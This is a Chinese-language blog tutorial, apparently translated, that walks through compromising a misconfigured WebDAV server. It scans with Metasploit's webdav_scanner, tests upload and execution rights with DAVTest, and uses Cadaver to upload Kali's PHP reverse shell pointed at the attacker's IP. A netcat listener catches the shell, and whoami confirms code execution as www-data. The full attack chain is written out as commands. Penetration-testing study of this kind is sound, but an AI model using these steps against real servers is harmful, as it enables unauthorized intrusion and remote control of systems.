在服务器上利用WebDAV并获取Shell

  • A+
所属分类:安全文章

在服务器上利用WebDAV并获取Shell

互联网无疑改变了我们的工作和交流方式。随着技术的进步,越来越多的人可以在世界的任何地方通过web进行协助工作。这种对远程友好的环境固有地带来了安全风险,并且黑客一直在寻找方法来将系统用于其他用途。

WebDAV或Web分布式创作和版本控制是一种协议,允许用户远程协作和编辑Web上的内容。他是HTTP的扩展,但使用其自身独特的功能来增强标准的HTTP方法和标头。

该协议主要用于远程编辑和协作,但也可以用于传输文件。默认情况下,它通常在端口80上运行,有时在端口443上运行以进行加密通信。尽管WebDAV为用户提供了从任何地方访问Web内容的能力和便利性,但是如果配置不正确,则相同的远程功能可能会带来巨大的安全漏洞。

一、检查目标是否启用了WebDAV

我们需要做的第一件事是检查是否在目标上启用了WebDAV。Metasploit有一个我们可以使用的扫描仪,因此可以通过在终端中键入msfconsole来启动它。然后,我们可以使用搜索命令找到该模块:

在服务器上利用WebDAV并获取Shell 

我们需要webdav_scanner模块,因此请使用use命令加载它:

msf5 > use auxiliary/scanner/http/webdav_scanner

现在,我们来看看该模块的选项:

在服务器上利用WebDAV并获取Shell 

现在,我们要将路径设置为/ dav /,这是WebDAV常用的目录:

msf5 auxiliary(scanner/http/webdav_scanner) > set path /dav/path => /dav/
接下来,我们可以将rhosts设置为目标的IP地址:
msf5 auxiliary(scanner/http/webdav_scanner) > set rhosts 10.10.0.50rhosts => 10.10.0.50
我们应该很好,所以键入run启动模块:


在服务器上利用WebDAV并获取Shell 

扫描程序将返回一些HTTP信息,包括Apache版本号以及是否启用WebDAV。正如我们在上面看到的,它确实已在我们的目标上启用。

二、使用DAVTest测试文件权限

我们要做的下一件事是测试服务器上的权限和文件执行策略。请记住,这里我们的最终目标是获得一个反向shell,因此我们需要知道我们要步入正轨。

DAVTest是一个方便的工具,可以自动为我们测试这些东西。只需在终端中键入davtest即可查看帮助和用法示例:



在服务器上利用WebDAV并获取Shell


在最基本的级别上,我们要做的就是为它提供指向WebDAV实例的有效URL。自然,请使用-url开关,后跟正确的URL。


在这里,我们可以看到该工具的神奇之处。首先从测试连接开始,然后尝试创建测试目录,我们认为这是成功的。接下来,DAVTest将发送各种不同类型的文件,以确定可以上传的文件。看来所有这些都成功了。


在服务器上利用WebDAV并获取Shell


在上面输出的末尾,我们看到了一些好东西:测试文件执行。我们可以看到它们大多数都失败了,但是TXT,HTML以及对我们来说最重要的PHP文件都将成功执行。我们现在需要做的就是找到一种上载Shell的方法。

三、使用Cadaver上载shell

在攻击的最后阶段,我们将使用一个名为Cadaver的工具,该工具提供了一个与WebDAV服务进行交互的直观界面—使用类似于FTP的简单易用的命令。

我们可以通过在终端中输入cadaver -h来查看帮助和使用信息:

在服务器上利用WebDAV并获取Shell 

在跳转到上载Shell之前,让我们使用无害的文本文件对其进行测试。首先,创建一个简单的文本文件:

[email protected]:~# echo 'TESTING' > test.txt
接下来,我们可以通过提供适当的URL通过Cadaver连接到WebDAV:

~# cadaver http://10.10.0.50/davdav:/dav/>

要获取可用命令的列表,请键入?或在提示时提供帮助:

在服务器上利用WebDAV并获取Shell 

我们可以使用put命令上传测试文件:

在服务器上利用WebDAV并获取Shell 

现在,如果我们在浏览器中导航到它,我们应该看到显示给我们的文本:

在服务器上利用WebDAV并获取Shell 

由于我们现在有信心可以进行上传,因此我们现在可以退出 Cadaver,以便准备好外壳程序:

dav:/dav/> quitConnection to `10.10.0.50' closed.

Kali在/ usr / share / webshel??ls /目录中包含各种shell 。我们需要PHP反向shell,因此请使用以下命令将其复制到当前目录:

~# cp /usr/share/webshells/php/php-reverse-shell.php .

接下来,我们需要编辑一些内容,因此使用您喜欢的文本编辑器打开文件,并将IP地址更改为我们本地计算机的IP地址,并将端口更改为您选择的端口:

在服务器上利用WebDAV并获取Shell 

保存文件,并使用netcat设置侦听器以捕获传入的连接:
~# nc -lvnp 7777listening on [any] 7777 ...
在新窗口或选项卡中,再次连接到WebDAV并上载我们的shell,就像我们之前对测试文件所做的一样:

在服务器上利用WebDAV并获取Shell 

现在浏览到该文件,如果成功,我们应该看到浏览器挂起:


在服务器上利用WebDAV并获取Shell 

回到我们的侦听器,我们应该看到目标打开了一个连接:

在服务器上利用WebDAV并获取Shell 

现在,我们可以发出诸如whoami之类的命令来确认我们已危害服务器:

sh-3.2$ whoamiwww-data

在服务器上利用WebDAV并获取Shell


推荐文章++++

在服务器上利用WebDAV并获取Shell

*<HW必备>常见WebShell客户端的流量特征及检测思路

*反弹shell的各种姿势


在服务器上利用WebDAV并获取Shell

在服务器上利用WebDAV并获取Shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: